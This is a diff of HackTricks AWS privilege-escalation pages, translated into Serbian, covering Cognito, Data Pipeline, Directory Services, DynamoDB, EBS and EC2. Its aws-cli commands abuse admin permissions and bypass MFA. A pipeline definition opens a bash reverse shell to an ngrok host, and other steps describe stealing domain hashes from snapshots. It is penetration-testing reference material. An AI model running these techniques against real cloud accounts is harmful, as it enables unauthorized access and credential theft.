||||
This permission allows to **verify a signup**. By default anyone can sign in Cognito applications, if that is left, a user could create an account with any data and verify it with this permission.
|
||||
|
||||
Ova dozvola omogućava **verifikaciju registracije**. Po defaultu, svako može da se prijavi na Cognito aplikacije; ako to ostane, korisnik bi mogao da kreira nalog sa bilo kojim podacima i verifikuje ga ovom dozvolom.
|
||||
```bash
|
||||
aws cognito-idp admin-confirm-sign-up \
|
||||
--user-pool-id <value> \
|
||||
--username <value>
|
||||
--user-pool-id <value> \
|
||||
--username <value>
|
||||
```
|
||||
|
||||
**Potential Impact:** Indirect privesc to the identity pool IAM role for authenticated users if you can register a new user. Indirect privesc to other app functionalities being able to confirm any account.
|
||||
**Potencijalni uticaj:** Indirektno privesc na IAM ulogu identiteta za autentifikovane korisnike ako možete registrovati novog korisnika. Indirektno privesc na druge funkcionalnosti aplikacije omogućavajući potvrdu bilo kog naloga.
|
||||
|
||||
### `cognito-idp:AdminCreateUser`
|
||||
|
||||
This permission would allow an attacker to create a new user inside the user pool. The new user is created as enabled, but will need to change its password.
|
||||
|
||||
Ova dozvola bi omogućila napadaču da kreira novog korisnika unutar korisničkog bazena. Novi korisnik se kreira kao omogućen, ali će morati da promeni svoju lozinku.
|
||||
```bash
|
||||
aws cognito-idp admin-create-user \
|
||||
--user-pool-id <value> \
|
||||
--username <value> \
|
||||
[--user-attributes <value>] ([Name=email,Value=email@gmail.com])
|
||||
[--validation-data <value>]
|
||||
[--temporary-password <value>]
|
||||
--user-pool-id <value> \
|
||||
--username <value> \
|
||||
[--user-attributes <value>] ([Name=email,Value=email@gmail.com])
|
||||
[--validation-data <value>]
|
||||
[--temporary-password <value>]
|
||||
```
|
||||
|
||||
**Potential Impact:** Direct privesc to the identity pool IAM role for authenticated users. Indirect privesc to other app functionalities being able to create any user
|
||||
**Potencijalni uticaj:** Direktni privesc na IAM ulogu identitetskog bazena za autentifikovane korisnike. Indirektni privesc na druge funkcionalnosti aplikacije omogućavajući kreiranje bilo kog korisnika.
|
||||
|
||||
### `cognito-idp:AdminEnableUser`
|
||||
|
||||
This permissions can help in. a very edge-case scenario where an attacker found the credentials of a disabled user and he needs to **enable it again**.
|
||||
|
||||
Ova dozvola može pomoći u veoma specifičnom scenariju gde je napadač pronašao akreditive onemogućenog korisnika i treba da ga **ponovo omogući**.
|
||||
```bash
|
||||
aws cognito-idp admin-enable-user \
|
||||
--user-pool-id <value> \
|
||||
--username <value>
|
||||
--user-pool-id <value> \
|
||||
--username <value>
|
||||
```
|
||||
|
||||
**Potential Impact:** Indirect privesc to the identity pool IAM role for authenticated users and permissions of the user if the attacker had credentials for a disabled user.
|
||||
**Potencijalni uticaj:** Indirektno privesc na IAM ulogu identiteta za autentifikovane korisnike i dozvole korisnika ako je napadač imao akreditive za onemogućenog korisnika.
|
||||
|
||||
### `cognito-idp:AdminInitiateAuth`, **`cognito-idp:AdminRespondToAuthChallenge`**
|
||||
|
||||
This permission allows to login with the [**method ADMIN_USER_PASSWORD_AUTH**](../aws-services/aws-cognito-enum/cognito-user-pools.md#admin_no_srp_auth-and-admin_user_password_auth)**.** For more information follow the link.
|
||||
Ova dozvola omogućava prijavu putem [**metode ADMIN_USER_PASSWORD_AUTH**](../aws-services/aws-cognito-enum/cognito-user-pools.md#admin_no_srp_auth-and-admin_user_password_auth)**.** Za više informacija pratite link.
|
||||
|
||||
### `cognito-idp:AdminSetUserPassword`
|
||||
|
||||
This permission would allow an attacker to **change the password of any user**, making him able to impersonate any user (that doesn't have MFA enabled).
|
||||
|
||||
Ova dozvola bi omogućila napadaču da **promeni lozinku bilo kog korisnika**, omogućavajući mu da se lažno predstavi kao bilo koji korisnik (koji nema omogućenu MFA).
|
||||
```bash
|
||||
aws cognito-idp admin-set-user-password \
|
||||
--user-pool-id <value> \
|
||||
--username <value> \
|
||||
--password <value> \
|
||||
--permanent
|
||||
--user-pool-id <value> \
|
||||
--username <value> \
|
||||
--password <value> \
|
||||
--permanent
|
||||
```
|
||||
|
||||
**Potential Impact:** Direct privesc to potentially any user, so access to all the groups each user is member of and access to the Identity Pool authenticated IAM role.
|
||||
**Potencijalni uticaj:** Direktno privesc za potencijalno bilo kog korisnika, tako da pristup svim grupama čiji je korisnik član i pristup IAM ulozi autentifikovanog Identity Pool-a.
|
||||
|
||||
### `cognito-idp:AdminSetUserSettings` | `cognito-idp:SetUserMFAPreference` | `cognito-idp:SetUserPoolMfaConfig` | `cognito-idp:UpdateUserPool`
|
||||
|
||||
**AdminSetUserSettings**: An attacker could potentially abuse this permission to set a mobile phone under his control as **SMS MFA of a user**.
|
||||
|
||||
**AdminSetUserSettings**: Napadač bi potencijalno mogao da zloupotrebi ovu dozvolu da postavi mobilni telefon pod njegovom kontrolom kao **SMS MFA korisnika**.
|
||||
```bash
|
||||
aws cognito-idp admin-set-user-settings \
|
||||
--user-pool-id <value> \
|
||||
--username <value> \
|
||||
--mfa-options <value>
|
||||
--user-pool-id <value> \
|
||||
--username <value> \
|
||||
--mfa-options <value>
|
||||
```
|
||||
|
||||
**SetUserMFAPreference:** Similar to the previous one this permission can be used to set MFA preferences of a user to bypass the MFA protection.
|
||||
|
||||
**SetUserMFAPreference:** Slično prethodnom, ova dozvola se može koristiti za postavljanje MFA preferencija korisnika kako bi se zaobišla MFA zaštita.
|
||||
```bash
|
||||
aws cognito-idp admin-set-user-mfa-preference \
|
||||
[--sms-mfa-settings <value>] \
|
||||
[--software-token-mfa-settings <value>] \
|
||||
--username <value> \
|
||||
--user-pool-id <value>
|
||||
[--sms-mfa-settings <value>] \
|
||||
[--software-token-mfa-settings <value>] \
|
||||
--username <value> \
|
||||
--user-pool-id <value>
|
||||
```
|
||||
|
||||
**SetUserPoolMfaConfig**: Similar to the previous one this permission can be used to set MFA preferences of a user pool to bypass the MFA protection.
|
||||
|
||||
**SetUserPoolMfaConfig**: Slično prethodnom, ova dozvola se može koristiti za postavljanje MFA preferencija korisničkog bazena kako bi se zaobišla MFA zaštita.
|
||||
```bash
|
||||
aws cognito-idp set-user-pool-mfa-config \
|
||||
--user-pool-id <value> \
|
||||
[--sms-mfa-configuration <value>] \
|
||||
[--software-token-mfa-configuration <value>] \
|
||||
[--mfa-configuration <value>]
|
||||
--user-pool-id <value> \
|
||||
[--sms-mfa-configuration <value>] \
|
||||
[--software-token-mfa-configuration <value>] \
|
||||
[--mfa-configuration <value>]
|
||||
```
|
||||
**UpdateUserPool:** Takođe je moguće ažurirati korisnički bazen kako bi se promenila MFA politika. [Proverite cli ovde](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool.html).
|
||||
|
||||
**UpdateUserPool:** It's also possible to update the user pool to change the MFA policy. [Check cli here](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool.html).
|
||||
|
||||
**Potential Impact:** Indirect privesc to potentially any user the attacker knows the credentials of, this could allow to bypass the MFA protection.
|
||||
**Potential Impact:** Indirektno privesc potencijalno bilo kojem korisniku čije napredne podatke napadač poznaje, ovo bi moglo omogućiti zaobilaženje MFA zaštite.
|
||||
|
||||
### `cognito-idp:AdminUpdateUserAttributes`
|
||||
|
||||
An attacker with this permission could change the email or phone number or any other attribute of a user under his control to try to obtain more privileges in an underlaying application.\
|
||||
This allows to change an email or phone number and set it as verified.
|
||||
|
||||
Napadač sa ovom dozvolom mogao bi promeniti email ili broj telefona ili bilo koju drugu atributu korisnika pod njegovom kontrolom kako bi pokušao da dobije više privilegija u osnovnoj aplikaciji.\
|
||||
Ovo omogućava promenu emaila ili broja telefona i postavljanje kao verifikovanog.
|
||||
```bash
|
||||
aws cognito-idp admin-update-user-attributes \
|
||||
--user-pool-id <value> \
|
||||
--username <value> \
|
||||
--user-attributes <value>
|
||||
--user-pool-id <value> \
|
||||
--username <value> \
|
||||
--user-attributes <value>
|
||||
```
|
||||
|
||||
**Potential Impact:** Potential indirect privesc in the underlying application using Cognito User Pool that gives privileges based on user attributes.
|
||||
**Potencijalni uticaj:** Potencijalni indirektni privesc u osnovnoj aplikaciji koja koristi Cognito User Pool koji daje privilegije na osnovu atributa korisnika.
|
||||
|
||||
### `cognito-idp:CreateUserPoolClient` | `cognito-idp:UpdateUserPoolClient`
|
||||
|
||||
An attacker with this permission could **create a new User Pool Client less restricted** than already existing pool clients. For example, the new client could allow any kind of method to authenticate, don't have any secret, have token revocation disabled, allow tokens to be valid for a longer period...
|
||||
Napadač sa ovom dozvolom može **napraviti novog User Pool Client-a koji je manje restriktivan** od već postojećih klijenata. Na primer, novi klijent može dozvoliti bilo koju vrstu metode za autentifikaciju, nemati nikakvu tajnu, imati onemogućenu revokaciju tokena, dozvoliti tokenima da budu validni duži period...
|
||||
|
||||
The same can be be don if instead of creating a new client, an **existing one is modified**.
|
||||
|
||||
In the [**command line**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/create-user-pool-client.html) (or the [**update one**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool-client.html)) you can see all the options, check it!.
|
||||
Isto se može uraditi ako se umesto kreiranja novog klijenta, **izmenjuje postojeći**.
|
||||
|
||||
U [**komandnoj liniji**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/create-user-pool-client.html) (ili [**ažuriranoj**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool-client.html)) možete videti sve opcije, proverite to!
|
||||
```bash
|
||||
aws cognito-idp create-user-pool-client \
|
||||
--user-pool-id <value> \
|
||||
--client-name <value> \
|
||||
[...]
|
||||
--user-pool-id <value> \
|
||||
--client-name <value> \
|
||||
[...]
|
||||
```
|
||||
|
||||
**Potential Impact:** Potential indirect privesc to the Identity Pool authorized user used by the User Pool by creating a new client that relax the security measures and makes possible to an attacker to login with a user he was able to create.
|
||||
**Potencijalni uticaj:** Potencijalni indirektni privesc za autorizovanog korisnika Identity Pool-a koji koristi User Pool tako što se kreira novi klijent koji opušta bezbednosne mere i omogućava napadaču da se prijavi sa korisnikom kojeg je mogao da kreira.
|
||||
|
||||
### `cognito-idp:CreateUserImportJob` | `cognito-idp:StartUserImportJob`
|
||||
|
||||
An attacker could abuse this permission to create users y uploading a csv with new users.
|
||||
|
||||
Napadač bi mogao da zloupotrebi ovu dozvolu da kreira korisnike učitavanjem csv datoteke sa novim korisnicima.
|
||||
```bash
|
||||
# Create a new import job
|
||||
aws cognito-idp create-user-import-job \
|
||||
--job-name <value> \
|
||||
--user-pool-id <value> \
|
||||
--cloud-watch-logs-role-arn <value>
|
||||
--job-name <value> \
|
||||
--user-pool-id <value> \
|
||||
--cloud-watch-logs-role-arn <value>
|
||||
|
||||
# Use a new import job
|
||||
aws cognito-idp start-user-import-job \
|
||||
--user-pool-id <value> \
|
||||
--job-id <value>
|
||||
--user-pool-id <value> \
|
||||
--job-id <value>
|
||||
|
||||
# Both options before will give you a URL where you can send the CVS file with the users to create
|
||||
curl -v -T "PATH_TO_CSV_FILE" \
|
||||
-H "x-amz-server-side-encryption:aws:kms" "PRE_SIGNED_URL"
|
||||
-H "x-amz-server-side-encryption:aws:kms" "PRE_SIGNED_URL"
|
||||
```
|
||||
(U slučaju kada kreirate novi posao za uvoz, možda će vam biti potrebna dozvola iam passrole, još nisam testirao).
|
||||
|
||||
(In the case where you create a new import job you might also need the iam passrole permission, I haven't tested it yet).
|
||||
|
||||
**Potential Impact:** Direct privesc to the identity pool IAM role for authenticated users. Indirect privesc to other app functionalities being able to create any user.
|
||||
**Potencijalni uticaj:** Direktno privesc na IAM ulogu identitetskog bazena za autentifikovane korisnike. Indirektno privesc na druge funkcionalnosti aplikacije omogućavajući kreiranje bilo kog korisnika.
|
||||
|
||||
### `cognito-idp:CreateIdentityProvider` | `cognito-idp:UpdateIdentityProvider`
|
||||
|
||||
An attacker could create a new identity provider to then be able to **login through this provider**.
|
||||
|
||||
Napadač bi mogao da kreira novog provajdera identiteta kako bi mogao da **prijavi se preko ovog provajdera**.
|
||||
```bash
|
||||
aws cognito-idp create-identity-provider \
|
||||
--user-pool-id <value> \
|
||||
--provider-name <value> \
|
||||
--provider-type <value> \
|
||||
--provider-details <value> \
|
||||
[--attribute-mapping <value>] \
|
||||
[--idp-identifiers <value>]
|
||||
--user-pool-id <value> \
|
||||
--provider-name <value> \
|
||||
--provider-type <value> \
|
||||
--provider-details <value> \
|
||||
[--attribute-mapping <value>] \
|
||||
[--idp-identifiers <value>]
|
||||
```
|
||||
**Potencijalni Uticaj:** Direktno privesc na IAM ulogu identiteta za autentifikovane korisnike. Indirektno privesc na druge funkcionalnosti aplikacije omogućavajući kreiranje bilo kog korisnika.
|
||||
|
||||
**Potential Impact:** Direct privesc to the identity pool IAM role for authenticated users. Indirect privesc to other app functionalities being able to create any user.
|
||||
### cognito-sync:\* Analiza
|
||||
|
||||
### cognito-sync:\* Analysis
|
||||
Ovo je veoma uobičajena dozvola po defaultu u ulogama Cognito Identity Pools. Čak i ako wildcard u dozvolama uvek izgleda loše (posebno dolazeći iz AWS-a), **date dozvole nisu super korisne iz perspektive napadača**.
|
||||
|
||||
This is a very common permission by default in roles of Cognito Identity Pools. Even if a wildcard in a permissions always looks bad (specially coming from AWS), the **given permissions aren't super useful from an attackers perspective**.
|
||||
Ova dozvola omogućava čitanje informacija o korišćenju Identity Pools i Identity IDs unutar Identity Pools (što nije osetljiva informacija).\
|
||||
Identity IDs mogu imati [**Datasets**](https://docs.aws.amazon.com/cognitosync/latest/APIReference/API_Dataset.html) dodeljene njima, koje su informacije o sesijama (AWS to definiše kao **sačuvanu igru**). Moguće je da ovo sadrži neku vrstu osetljivih informacija (ali je verovatnoća prilično niska). Možete pronaći na [**stranici za enumeraciju**](../aws-services/aws-cognito-enum/) kako da pristupite ovim informacijama.
|
||||
|
||||
This permission allows to read use information of Identity Pools and Identity IDs inside Identity Pools (which isn't sensitive info).\
|
||||
Identity IDs might have [**Datasets**](https://docs.aws.amazon.com/cognitosync/latest/APIReference/API_Dataset.html) assigned to them, which are information of the sessions (AWS define it like a **saved game**). It might be possible that this contain some kind of sensitive information (but the probability is pretty low). You can find in the [**enumeration page**](../aws-services/aws-cognito-enum/) how to access this information.
|
||||
Napadač bi takođe mogao koristiti ove dozvole da **upisuje sebe u Cognito stream koji objavljuje promene** na ovim datasetima ili **lambda koja se aktivira na cognito događaje**. Nisam video da se ovo koristi, i ne bih očekivao osetljive informacije ovde, ali nije nemoguće.
|
||||
|
||||
An attacker could also use these permissions to **enroll himself to a Cognito stream that publish changes** on these datases or a **lambda that triggers on cognito events**. I haven't seen this being used, and I wouldn't expect sensitive information here, but it isn't impossible.
|
||||
### Automatski Alati
|
||||
|
||||
### Automatic Tools
|
||||
- [Pacu](https://github.com/RhinoSecurityLabs/pacu), AWS eksploatacioni okvir, sada uključuje module "cognito\_\_enum" i "cognito\_\_attack" koji automatizuju enumeraciju svih Cognito resursa u nalogu i označavaju slabe konfiguracije, atribute korisnika korišćene za kontrolu pristupa, itd., i takođe automatizuju kreiranje korisnika (uključujući podršku za MFA) i privilegiju eskalacije na osnovu modifikabilnih prilagođenih atributa, upotrebljivih kredencijala identiteta, preuzimljivih uloga u id tokenima, itd.
|
||||
|
||||
- [Pacu](https://github.com/RhinoSecurityLabs/pacu), the AWS exploitation framework, now includes the "cognito\_\_enum" and "cognito\_\_attack" modules that automate enumeration of all Cognito assets in an account and flag weak configurations, user attributes used for access control, etc., and also automate user creation (including MFA support) and privilege escalation based on modifiable custom attributes, usable identity pool credentials, assumable roles in id tokens, etc.
|
||||
Za opis funkcija modula pogledajte deo 2 [blog posta](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2). Za uputstva za instalaciju pogledajte glavnu [Pacu](https://github.com/RhinoSecurityLabs/pacu) stranicu.
|
||||
|
||||
For a description of the modules' functions see part 2 of the [blog post](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2). For installation instructions see the main [Pacu](https://github.com/RhinoSecurityLabs/pacu) page.
|
||||
|
||||
#### Usage
|
||||
|
||||
Sample cognito\_\_attack usage to attempt user creation and all privesc vectors against a given identity pool and user pool client:
|
||||
#### Korišćenje
|
||||
|
||||
Primer korišćenja cognito\_\_attack za pokušaj kreiranja korisnika i svih privesc vektora protiv datog identiteta i klijenta korisničkog bazena:
|
||||
```bash
|
||||
Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools
|
||||
us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
|
||||
59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX
|
||||
```
|
||||
|
||||
Sample cognito\_\_enum usage to gather all user pools, user pool clients, identity pools, users, etc. visible in the current AWS account:
|
||||
|
||||
Primer korišćenja cognito\_\_enum za prikupljanje svih korisničkih bazena, klijenata korisničkih bazena, identitetskih bazena, korisnika itd. koji su vidljivi u trenutnom AWS nalogu:
|
||||
```bash
|
||||
Pacu (new:test) > run cognito__enum
|
||||
```
|
||||
- [Cognito Scanner](https://github.com/padok-team/cognito-scanner) je CLI alat u pythonu koji implementira različite napade na Cognito, uključujući eskalaciju privilegija.
|
||||
|
||||
- [Cognito Scanner](https://github.com/padok-team/cognito-scanner) is a CLI tool in python that implements different attacks on Cognito including a privesc escalation.
|
||||
|
||||
#### Installation
|
||||
|
||||
#### Instalacija
|
||||
```bash
|
||||
$ pip install cognito-scanner
|
||||
```
|
||||
|
||||
#### Usage
|
||||
|
||||
#### Korišćenje
|
||||
```bash
|
||||
$ cognito-scanner --help
|
||||
```
|
||||
|
||||
For more information check [https://github.com/padok-team/cognito-scanner](https://github.com/padok-team/cognito-scanner)
|
||||
Za više informacija proverite [https://github.com/padok-team/cognito-scanner](https://github.com/padok-team/cognito-scanner)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## datapipeline
|
||||
|
||||
For more info about datapipeline check:
|
||||
Za više informacija o datapipeline-u pogledajte:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md
|
||||
@@ -12,67 +12,57 @@ For more info about datapipeline check:
|
||||
|
||||
### `iam:PassRole`, `datapipeline:CreatePipeline`, `datapipeline:PutPipelineDefinition`, `datapipeline:ActivatePipeline`
|
||||
|
||||
Users with these **permissions can escalate privileges by creating a Data Pipeline** to execute arbitrary commands using the **permissions of the assigned role:**
|
||||
|
||||
Korisnici sa ovim **dozvolama mogu eskalirati privilegije kreiranjem Data Pipeline-a** za izvršavanje proizvoljnih komandi koristeći **dozvole dodeljene ulogama:**
|
||||
```bash
|
||||
aws datapipeline create-pipeline --name my_pipeline --unique-id unique_string
|
||||
```
|
||||
|
||||
After pipeline creation, the attacker updates its definition to dictate specific actions or resource creations:
|
||||
|
||||
Nakon kreiranja pipeline-a, napadač ažurira njegovu definiciju kako bi odredio specifične akcije ili kreacije resursa:
|
||||
```json
|
||||
{
|
||||
"objects": [
|
||||
{
|
||||
"id": "CreateDirectory",
|
||||
"type": "ShellCommandActivity",
|
||||
"command": "bash -c 'bash -i >& /dev/tcp/8.tcp.ngrok.io/13605 0>&1'",
|
||||
"runsOn": { "ref": "instance" }
|
||||
},
|
||||
{
|
||||
"id": "Default",
|
||||
"scheduleType": "ondemand",
|
||||
"failureAndRerunMode": "CASCADE",
|
||||
"name": "Default",
|
||||
"role": "assumable_datapipeline",
|
||||
"resourceRole": "assumable_datapipeline"
|
||||
},
|
||||
{
|
||||
"id": "instance",
|
||||
"name": "instance",
|
||||
"type": "Ec2Resource",
|
||||
"actionOnTaskFailure": "terminate",
|
||||
"actionOnResourceFailure": "retryAll",
|
||||
"maximumRetries": "1",
|
||||
"instanceType": "t2.micro",
|
||||
"securityGroups": ["default"],
|
||||
"role": "assumable_datapipeline",
|
||||
"resourceRole": "assumable_ec2_profile_instance"
|
||||
}
|
||||
]
|
||||
"objects": [
|
||||
{
|
||||
"id": "CreateDirectory",
|
||||
"type": "ShellCommandActivity",
|
||||
"command": "bash -c 'bash -i >& /dev/tcp/8.tcp.ngrok.io/13605 0>&1'",
|
||||
"runsOn": { "ref": "instance" }
|
||||
},
|
||||
{
|
||||
"id": "Default",
|
||||
"scheduleType": "ondemand",
|
||||
"failureAndRerunMode": "CASCADE",
|
||||
"name": "Default",
|
||||
"role": "assumable_datapipeline",
|
||||
"resourceRole": "assumable_datapipeline"
|
||||
},
|
||||
{
|
||||
"id": "instance",
|
||||
"name": "instance",
|
||||
"type": "Ec2Resource",
|
||||
"actionOnTaskFailure": "terminate",
|
||||
"actionOnResourceFailure": "retryAll",
|
||||
"maximumRetries": "1",
|
||||
"instanceType": "t2.micro",
|
||||
"securityGroups": ["default"],
|
||||
"role": "assumable_datapipeline",
|
||||
"resourceRole": "assumable_ec2_profile_instance"
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
|
||||
> [!NOTE]
|
||||
> Note that the **role** in **line 14, 15 and 27** needs to be a role **assumable by datapipeline.amazonaws.com** and the role in **line 28** needs to be a **role assumable by ec2.amazonaws.com with a EC2 profile instance**.
|
||||
> Imajte na umu da **uloga** u **linijama 14, 15 i 27** mora biti uloga **koju može preuzeti datapipeline.amazonaws.com**, a uloga u **liniji 28** mora biti **uloga koju može preuzeti ec2.amazonaws.com sa EC2 profilom instance**.
|
||||
>
|
||||
> Moreover, the EC2 instance will only have access to the role assumable by the EC2 instance (so you can only steal that one).
|
||||
|
||||
> Pored toga, EC2 instanca će imati pristup samo ulozi koju može preuzeti EC2 instanca (tako da možete ukrasti samo tu).
|
||||
```bash
|
||||
aws datapipeline put-pipeline-definition --pipeline-id <pipeline-id> \
|
||||
--pipeline-definition file:///pipeline/definition.json
|
||||
--pipeline-definition file:///pipeline/definition.json
|
||||
```
|
||||
**Fajl definicije pipeline-a, koji je kreirao napadač, uključuje direktive za izvršavanje komandi** ili kreiranje resursa putem AWS API-ja, koristeći dozvole uloge Data Pipeline-a da potencijalno stekne dodatne privilegije.
|
||||
|
||||
The **pipeline definition file, crafted by the attacker, includes directives to execute commands** or create resources via the AWS API, leveraging the Data Pipeline's role permissions to potentially gain additional privileges.
|
||||
|
||||
**Potential Impact:** Direct privesc to the ec2 service role specified.
|
||||
**Potencijalni uticaj:** Direktno privesc na ec2 servisnu ulogu koja je navedena.
|
||||
|
||||
## References
|
||||
|
||||
- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Directory Services
|
||||
|
||||
For more info about directory services check:
|
||||
Za više informacija o uslugama direktorijuma pogledajte:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-directory-services-workdocs-enum.md
|
||||
@@ -12,27 +12,21 @@ For more info about directory services check:
|
||||
|
||||
### `ds:ResetUserPassword`
|
||||
|
||||
This permission allows to **change** the **password** of any **existent** user in the Active Directory.\
|
||||
By default, the only existent user is **Admin**.
|
||||
|
||||
Ova dozvola omogućava **promenu** **lozinke** bilo kog **postojećeg** korisnika u Active Directory.\
|
||||
Po defaultu, jedini postojeći korisnik je **Admin**.
|
||||
```
|
||||
aws ds reset-user-password --directory-id <id> --user-name Admin --new-password Newpassword123.
|
||||
```
|
||||
|
||||
### AWS Management Console
|
||||
|
||||
It's possible to enable an **application access URL** that users from AD can access to login:
|
||||
Moguće je omogućiti **URL za pristup aplikaciji** koji korisnici iz AD mogu koristiti za prijavu:
|
||||
|
||||
<figure><img src="../../../images/image (244).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
And then **grant them an AWS IAM role** for when they login, this way an AD user/group will have access over AWS management console:
|
||||
A zatim **dodeliti im AWS IAM ulogu** za kada se prijave, na ovaj način AD korisnik/grupa će imati pristup AWS upravljačkoj konzoli:
|
||||
|
||||
<figure><img src="../../../images/image (155).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
There isn't apparently any way to enable the application access URL, the AWS Management Console and grant permission
|
||||
Naizgled ne postoji način da se omogući URL za pristup aplikaciji, AWS upravljačka konzola i dodeli dozvola
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## dynamodb
|
||||
|
||||
For more info about dynamodb check:
|
||||
Za više informacija o dynamodb proverite:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-dynamodb-enum.md
|
||||
@@ -12,16 +12,12 @@ For more info about dynamodb check:
|
||||
|
||||
### Post Exploitation
|
||||
|
||||
As far as I know there is **no direct way to escalate privileges in AWS just by having some AWS `dynamodb` permissions**. You can **read sensitive** information from the tables (which could contain AWS credentials) and **write information on the tables** (which could trigger other vulnerabilities, like lambda code injections...) but all these options are already considered in the **DynamoDB Post Exploitation page**:
|
||||
Koliko ja znam, **ne postoji direktan način za eskalaciju privilegija u AWS-u samo sa nekim AWS `dynamodb` dozvolama**. Možete **čitati osetljive** informacije iz tabela (koje mogu sadržati AWS akreditive) i **pisati informacije u tabelama** (što može pokrenuti druge ranjivosti, kao što su lambda kod injekcije...) ali sve ove opcije su već razmatrane na **DynamoDB Post Exploitation stranici**:
|
||||
|
||||
{{#ref}}
|
||||
../aws-post-exploitation/aws-dynamodb-post-exploitation.md
|
||||
{{#endref}}
|
||||
|
||||
### TODO: Read data abusing data Streams
|
||||
### TODO: Čitati podatke zloupotrebom data Streams
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -6,26 +6,22 @@
|
||||
|
||||
### `ebs:ListSnapshotBlocks`, `ebs:GetSnapshotBlock`, `ec2:DescribeSnapshots`
|
||||
|
||||
An attacker with those will be able to potentially **download and analyze volumes snapshots locally** and search for sensitive information in them (like secrets or source code). Find how to do this in:
|
||||
Napadač sa ovim dozvolama će moći potencijalno **da preuzme i analizira snimke volumena lokalno** i traži osetljive informacije u njima (kao što su tajne ili izvorni kod). Saznajte kako to učiniti u:
|
||||
|
||||
{{#ref}}
|
||||
../aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md
|
||||
{{#endref}}
|
||||
|
||||
Other permissions might be also useful such as: `ec2:DescribeInstances`, `ec2:DescribeVolumes`, `ec2:DeleteSnapshot`, `ec2:CreateSnapshot`, `ec2:CreateTags`
|
||||
Druge dozvole mogu biti takođe korisne kao što su: `ec2:DescribeInstances`, `ec2:DescribeVolumes`, `ec2:DeleteSnapshot`, `ec2:CreateSnapshot`, `ec2:CreateTags`
|
||||
|
||||
The tool [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) performs this attack to e**xtract passwords from a domain controller**.
|
||||
Alat [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) vrši ovaj napad da **izvuče lozinke iz kontrolera domena**.
|
||||
|
||||
**Potential Impact:** Indirect privesc by locating sensitive information in the snapshot (you could even get Active Directory passwords).
|
||||
**Potencijalni uticaj:** Indirektni privesc lociranjem osetljivih informacija u snimku (možete čak dobiti Active Directory lozinke).
|
||||
|
||||
### **`ec2:CreateSnapshot`**
|
||||
|
||||
Any AWS user possessing the **`EC2:CreateSnapshot`** permission can steal the hashes of all domain users by creating a **snapshot of the Domain Controller** mounting it to an instance they control and **exporting the NTDS.dit and SYSTEM** registry hive file for use with Impacket's secretsdump project.
|
||||
Svaki AWS korisnik koji poseduje **`EC2:CreateSnapshot`** dozvolu može ukrasti hešove svih korisnika domena kreiranjem **snimka Kontrolera domena** montirajući ga na instancu koju kontroliše i **izvozeći NTDS.dit i SYSTEM** registry hive datoteku za korišćenje sa Impacketovim secretsdump projektom.
|
||||
|
||||
You can use this tool to automate the attack: [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) or you could use one of the previous techniques after creating a snapshot.
|
||||
Možete koristiti ovaj alat za automatizaciju napada: [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) ili možete koristiti neku od prethodnih tehnika nakon kreiranja snimka.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## EC2
|
||||
|
||||
For more **info about EC2** check:
|
||||
Za više **informacija o EC2** proverite:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
|
||||
@@ -12,51 +12,46 @@ For more **info about EC2** check:
|
||||
|
||||
### `iam:PassRole`, `ec2:RunInstances`
|
||||
|
||||
An attacker could **create and instance attaching an IAM role and then access the instance** to steal the IAM role credentials from the metadata endpoint.
|
||||
Napadač bi mogao **da kreira instancu povezujući IAM ulogu i zatim pristupi instanci** da ukrade kredencijale IAM uloge sa krajnje tačke metapodataka.
|
||||
|
||||
- **Access via SSH**
|
||||
|
||||
Run a new instance using a **created** **ssh key** (`--key-name`) and then ssh into it (if you want to create a new one you might need to have the permission `ec2:CreateKeyPair`).
|
||||
- **Pristup preko SSH**
|
||||
|
||||
Pokrenite novu instancu koristeći **kreirani** **ssh ključ** (`--key-name`) i zatim se povežite na nju putem ssh (ako želite da kreirate novi možda će vam biti potrebna dozvola `ec2:CreateKeyPair`).
|
||||
```bash
|
||||
aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
|
||||
--iam-instance-profile Name=<instance-profile-name> --key-name <ssh-key> \
|
||||
